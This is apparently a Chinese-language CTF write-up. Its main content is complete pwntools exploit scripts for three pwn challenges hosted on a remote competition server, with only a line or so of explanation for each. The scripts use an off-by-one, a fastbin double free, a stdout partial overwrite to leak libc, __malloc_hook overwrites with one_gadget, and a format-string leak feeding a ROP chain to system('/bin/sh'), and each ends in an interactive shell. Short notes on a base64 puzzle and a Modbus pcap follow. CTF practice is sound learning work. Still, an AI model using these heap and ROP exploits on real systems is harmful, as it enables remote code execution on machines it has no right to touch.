lgtwo

很明显的 off by one。完整 exp 如下（该脚本需要手动多次执行来爆破）

```
from pwn import *
context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h', '-p', '60'])
#p = process('./pwn')
p = remote('123.56.52.128', 45830)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

def Add(size, content):
    p.sendlineafter('>>', '1')
    p.sendlineafter('size?', str(size))
    p.sendafter('content?', content)

def Delete(index):
    p.sendlineafter('>>', '2')
    p.sendlineafter('index ?', str(index))

def Edit(index, content):
    p.sendlineafter('>>', '4')
    p.sendlineafter('index ?', str(index))
    p.sendafter('content ?', content)

Add(0x18, 'A'*0x10)
Add(0xf8, 'A'*0x10)
Add(0x68, 'A'*0x10)
Add(0x18, 'A'*0x10)

Edit(0, '\x00'*0x18 + '\x71')
Delete(1)

Add(0xf8, 'A'*0x10)
Add(0x68, 'A'*0x10)

Edit(0, '\x00'*0x18 + '\x71')
Delete(1)
```

```
34.
35. Delete(2)
36. Add(0xf8, 'A'*0x10)
37.
38. Edit(4, '\xdd\x25')
39.
40. Add(0x68, 'A'*0x10)
41. Add(0x68, 'A'*0x10)
42. Edit(5, b'\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')
43.
44. libc_base = u64(p.recvuntil('\x7f')[-6:] + b'\x00\x00') - 0x3c5600
45. libc.address = libc_base
46. info("libc_base ==> " + hex(libc_base))
47.
48. malloc_hook = libc.symbols['__malloc_hook']
49. realloc = libc.symbols['__libc_realloc']
50.
51. Delete(2)
52. Edit(4, p64(malloc_hook-0x23))
53.
54. Add(0x68, 'A'*0x10)
55. Add(0x68, 'A'*0x10)
56. Edit(6, b'\x00'*(0x13-0x8) + p64(libc_base + 0x4527a) + p64(realloc + 2))
57.
58. #gdb.attach(p, 'b * 0x400929\nc')
59. p.sendlineafter('>>', '1')
60. p.sendlineafter('size?', str(100))
61.
62. p.interactive()
```

Maj0Rone

这题跟今年的高校战役的某题很相似。exp 如下

```
1. #-*-coding:utf-8-*-
2. from pwn import *
3. context(os = 'linux', arch = 'amd64', log_level = 'debug', terminal = ['tmux', 'splitw', '-h'])
```

```
global p
#libc = ELF('libc.so.6')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')


def Add(size, content):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('question', '80')
    p.sendlineafter('_____?', str(size))
    p.sendlineafter('yes_or_no?', content)

def Free(index):
    p.sendlineafter('>> ', '2')
    p.sendlineafter('index ?', str(index))

def Show(index):
    p.sendlineafter('>> ', '3')
    p.sendlineafter('index ?', str(index))

def Edit(index, content):
    p.sendlineafter('>> ', '4')
    p.sendlineafter('index ?', str(index))
    p.sendafter('content ?', content)

def pwn():
    global p
    p = remote('123.56.52.128', 18523)
    #p = process('./pwn')
    Add(0x68, 'A'*0x10)
    Add(0x68, 'A'*0x10)
    Add(0xe0, 'A'*0x10)
    Add(0x10, 'A'*0x10)

    Free(2)
    Add(0x68, 'A'*0x10)
    Free(0)
    Free(1)
    Free(0)

    Add(0x68, 'A'*0x10)
    Edit(5, '\xe0')
```

```
45.
46.     try:
47.         Edit(2, '\xdd\x25')
48.         Add(0x68, 'A'*0x10)
49.         Add(0x68, 'A'*0x10)
50.         Add(0x68, 'A'*0x10)
51.         Add(0x68, 'A'*0x10)
52.         Edit(9, b'\x00'*0x33 + p64(0xfbad1800) + p64(0)*3 + b'\x00')
53.         libc_base = u64(p.recvuntil('\x7f')[-6:] + b'\x00\x00') - 0x3c5600
54.         info("libc_base ==> " + hex(libc_base))
55.     except:
56.         p.close()
57.         return 0
58.
59.
60.
61.     """
62.     open_addr = libc_base + libc.symbols['open']
63.     info("open_addr ==> " + hex(open_addr))
64.     read_addr = libc_base + libc.symbols['read']
65.     info("read_addr ==> " + hex(read_addr))
66.     puts_addr = libc_base + libc.symbols['puts']
67.     info("puts_addr ==> " + hex(puts_addr))
68.     """
69.
70.     malloc_hook = libc_base + libc.symbols['__malloc_hook']
71.     one_gadget = [0x45226, 0x4527a, 0xf0364, 0xf1207]
72.
73.     Free(0)
74.     Free(1)
75.     Free(5)
76.
77.     Add(0x68, 'A'*0x10)
78.     Edit(10, p64(malloc_hook-0x23))
79.     Add(0x68, 'A'*0x10)
80.     Add(0x68, 'A'*0x10)
81.     Add(0x68, 'A'*0x10)
82.     #gdb.attach(p, 'b * 0x402505\nc')
83.     Edit(13, b'\x00'*0x13 + p64(one_gadget[3] + libc_base))
84.
85.     p.sendlineafter('>> ', '1')
```

```
    p.sendlineafter('question', '80')
    p.sendlineafter('_____?', str(0x10))

    p.interactive()
    return 1
if __name__ == '__main__':
    while True:
        if pwn():
            break
```

EASY_abnormal

这题网上找到原题了，不过网上提供的脚本需要稍加改动才能用，exp 如下

```
from pwn import *
context(log_level='debug',os='linux',arch='amd64', terminal=['tmux','sp','-h'])
#p = process("./pwn")
p = remote('123.56.52.128', 10012)
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf = ELF("./pwn")

def show_name():
    p.recvuntil(":")
    p.sendline('1')

def add(content):
    p.recvuntil(":")
    p.sendline('2')
    p.recvuntil(":\n")
    p.sendline(content)
def free(id):
    p.recvuntil(":")
    p.sendline('3')
    p.recvuntil(":")
    p.sendline(str(id))
def show():
    p.sendlineafter(':', '4')
def hint(content):
    p.recvuntil(":")
```

```
    p.sendline('23333')
    p.recvuntil(":")
    p.sendline(content)

p.recvuntil(": ")
p.send('%11$p')#leak libc_base
show_name()
p.recvuntil("INFO:")
libc_base = int(p.recv(14),16)-libc.sym['__libc_start_main']-240
log.info('libc_base:'+hex(libc_base))

ret = libc_base + 0x0000000000000937
pop_rdi_ret = libc_base + 0x0000000000021112
system = libc_base + libc.sym['system']
log.info("system:"+hex(system))
str_binsh = libc_base + next(libc.search(b'/bin/sh'))
payload = p64(ret)+p64(pop_rdi_ret)+p64(str_binsh)+p64(system)

add('a')
add(b'b'*0x18+payload)
free(1)
free(0)
show()
p.recvuntil("1:")
heap_addr = u64(p.recv(6).ljust(8,b'\x00'))
log.info("heap_addr:"+hex(heap_addr))

#gdb.attach(p,'b *$rebase(0x12e8)\nc')

hint(b'a'*0x20+p64(heap_addr+0x20)[0:8])

p.interactive()
```

签到

base64 解密+把解密出来的 5 替换成 6

Pcap analysis

wireshark 中追踪 modbus 协议 tcp 流，查看得到 flag